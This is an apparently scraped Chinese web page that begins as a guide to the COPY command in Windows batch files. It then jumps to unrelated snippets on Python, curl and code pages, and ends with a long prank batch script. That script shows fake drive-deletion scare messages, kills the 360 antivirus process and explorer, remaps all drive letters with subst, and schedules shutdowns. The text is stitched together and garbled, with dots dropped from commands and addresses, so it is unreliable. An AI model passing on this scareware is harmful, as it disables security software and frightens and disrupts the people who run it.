在bat脚本中实现复制文件

在bat脚本中实现复制文件,第1张

bat 是批处理文件,主要用于 DOS 和 Windows 操作系统中。

bat 文件的内容,是由一系列命令构成,每一行通常是一条命令,这些命令是以字符的形式,通过命令解释器进行执行(与 Windows 常见的鼠标点击运行不同)。

复制文件的最常用的命令是: copy。相关的资料如下:

COPY [/D[1] ] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B]

[+ source [/A | /B] [+ ]] [destination [/A | /B]]

各参数代表的含义:

source 指定要复制的文件。

/A 表示一个 ASCII 文本文件。

/B 表示一个二进位文件。/D 允许解密要创建的目标文件

destination 为新文件指定目录和/或文件名。

/V 验证新文件写入是否正确。

/N 复制带有非 8dot3 名称的文件时,

尽可能使用短文件名。

/Y 不使用确认是否要覆盖现有目标文件的提示。

/-Y 使用确认是否要覆盖现有目标文件的提示。

示例:

将 D:\目录\ 下的所有 txt 文件,复制到 D:\目标目录 下。

copy D:\目录\txt D:\目标目录

另存成一个批处理。然后ossystem("newbatchbat")

如果完成的写可以这样

open("tmpbat","wb")write("""\

@echo on

cd /d E:\test\rebuildShader

python RebuildShaderspy

del tmpbat

""")

ossystem("tmpbat")

下载个curlexe放到system32目录,然后用curl命令查看源码。

如curl 百度网址。

如果中文乱码,那可能是curl默认返回utf8源码,而命令行默认代码页936显示,可以chcp 65001切换utf8代码页,然后右击cmd标题栏,属性,字体,选择Lucida Console。

换回来的话,只需要chcp 936

我用的版本的curl763不用切换代码页都可以正常查看带中文的utf8源码。

更改cmd窗口后,在注册表HKEY_CURRENT_USER\Console\%SystemRoot%_system32_cmdexe

这里保存了自定义设置,删除,cmd恢复默认。

@ color 1f

@echo off

title 最好别关本程序否则后果自负!

echo 你中招了!

echo 处理器异常!

ping 127001 /n 4 >nul

echo

echo 正在移除C盘……

echo

ping 127001 /n 4 >nul

echo 正在移除D盘……

echo

echo 正在移除E盘……

ping 127001 /n 4 >nul

echo F盘先给你留着吧!

echo

echo 我会那么善良吗

ping 127001 /n 4 >nul

echo 不会的……

echo

echo 呵呵开玩笑的!

ping 127001 /n 4 >nul

echo 正在恢复C盘……

echo

echo 正在恢复D盘……

ping 127001 /n 4 >nul

echo 正在恢复E盘……

echo

echo 正在恢复F盘……

ping 127001 /n 4 >nul

echo 请一直按住 Enter 键

taskkill /f /im 360trayexe

ping 127001 /n 4 >nul

echo 看你的磁盘好少,怪可怜的……

echo

ping 127001 /n 4 >nul

echo 给你加几个吧!

echo

ping 127001 /n 4 >nul

@echo off

for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)

start explorerexe

ping 127001 /n 4 >nul

echo 呵呵……

echo

ping 127001 /n 4 >nul

echo 给你两分钟时间,看看你的电脑!

echo

ping 127001 /n 120 >nul

echo 看过了吗,好玩的在后面!

echo

ping 127001 /n 120 >nul

echo 哈哈!

echo

@echo off

shutdown /s /t 120 /c "电脑马上就要关机!"

ping 127001 /n 15 >nul

shutdown -a

echo 你上当了,吓唬吓唬你!

ping 127001 /n 4 >nul

echo 正在一键重装中,请稍后……

echo

echo 001

ping 127001 /n 4 >nul

echo 013

ping 127001 /n 4 >nul

echo 025

ping 127001 /n 4 >nul

echo 049

ping 127001 /n 4 >nul

echo 069

ping 127001 /n 4 >nul

echo 089

ping 127001 /n 4 >nul

echo 099

ping 127001 /n 4 >nul

echo loading

ping 127001 /n 4 >nul

echo 重装已完成!

ping 127001 /n 4 >nul

echo 也是吓唬你的!

ping 127001 /n 10 >nul

echo 真正的游戏开始了……

taskkill /f /im explorerexe

shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"

ping 127001 /n 28 >nul

shutdown -a

echo 你上当了,吓唬吓唬你,现在恢复所有程序Loading

for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)

start explorerexe

ping 127001 /n 4 >nul

echo 恢复已完成

ping 127001 /n 4 >nul

echo 我会那么善良吗

ping 127001 /n 4 >nul

echo 不会

ping 127001 /n 4 >nul

echo 逗你玩的!

ping 127001 /n 4 >nul

echo 会发生什么呢

ping 127001 /n 4 >nul

echo 什么都没发生

欢迎分享,转载请注明来源:浪漫分享网

原文地址:https://hunlipic.com/langman/3605039.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-08-16
下一篇2023-08-16

发表评论

登录后才能评论

评论列表(0条)

    保存